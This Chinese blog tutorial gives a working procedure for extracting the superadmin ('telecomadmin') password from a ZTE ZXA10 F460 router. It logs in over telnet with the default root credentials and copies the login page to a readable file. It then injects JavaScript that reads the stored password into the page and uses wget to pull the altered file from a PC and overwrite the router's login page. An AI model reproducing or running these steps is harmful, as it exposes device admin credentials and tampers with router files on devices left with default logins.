中兴ZXA10-F460 v3.0获取超级管理员密码

本文详细介绍了如何在无法使用已知密码登录ZXA10 F460路由器的超级账号telecomadmin时,通过telnet远程登录、复制login.gch文件、修改并替换文件,最终获取路由器超级管理员密码的步骤。

都知道zxa10 f460有个超级账号,使用这个超级账号,我么可以管理路由器,设置路由器自动拨号等。但是只知道超级账号是telecomadmin,但却不知道密码,接下这个教程就是教你在使用网上提供的密码都无法进入超级账号的情况下,自己去获取密码。

1.打开电脑的telnet

控制面板 => 程序和功能 =>打开或关闭windows功能,出现如下对话框,选择telnet服务器和telnet客户端,然后确定

telnet安装完成之后,去启动telnet服务。控制面板 => 管理工具 => 服务 ,在服务中找到telnet,然后启动,如下图:


至此,telnet安装完成。

2.使用telnet远程登录zxa10 f460

在cmd命令行中输入 telnet 192.168.1.1,如下图:

接下来会提示输入用户名和密码,默认的用户名和密码都是root,如下图,输入之后成功登录路由器。

输入 cd /home/httpd 进入到/home/httpd目录下

输入 cp /home/httpd/login.gch /home/httpd/login_gch.xml 把login.gch文件复制一份,并保存为login_gch.xml

在浏览器中输入192.168.1.1/login_gch.xml ,可以看到如下代码:

右键保存到电脑上。

对刚才保存到电脑上的文件进行修改。

if (language == "English")
{
set_language("langen.conf");
langclass = "login_title_centerch";
}
else
{
set_language("langcn.conf");
langclass = "login_title_centeren";
}

这一段代码之后添加如下代码:

var CK_HANDLE = create_paralist();
var login_name = "telecomadmin";
set_para(CK_HANDLE, "Username", login_name);
qeury_list_bycond("OBJ_USERINFO_ID", "IGD", CK_HANDLE);
destroy_paralist(CK_HANDLE);
CK_HANDLE = create_paralist();
var CK_IDENTITY = query_identity(0);
get_inst(CK_HANDLE, "OBJ_USERINFO_ID", CK_IDENTITY);
var now_pwd = get_para(CK_HANDLE, "Password");
now_pwd = delMoreSlash(now_pwd);
destroy_paralist(CK_HANDLE);

<body onload="onFocus();">
这段代码之后添加如下代码:

<div><%=now_pwd;%></div>
添加完成之后保存,然后重命名为login.gch。

3.建立http服务器.

在网上下载http服务器软件,我用的是Http File Server,下载链接点击打开链接

下载之后直接打开。

把刚才改好的文件添加到服务器目录下,如图:

4.修改路由器里面的login.gch

回到cmd命令行。

确保还在/home/httpd目录下,如图

输入 wget http://192.168.1.6/login.gch。用刚才改好的login.gch替换路由器里的login.gch。注意前面的IP地址,修改成你自己的IP。

现在在浏览器上输入192.168.1.1,你会发现浏览器上方出现了一串数据,那就是密码,账号就是telecomadmin。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值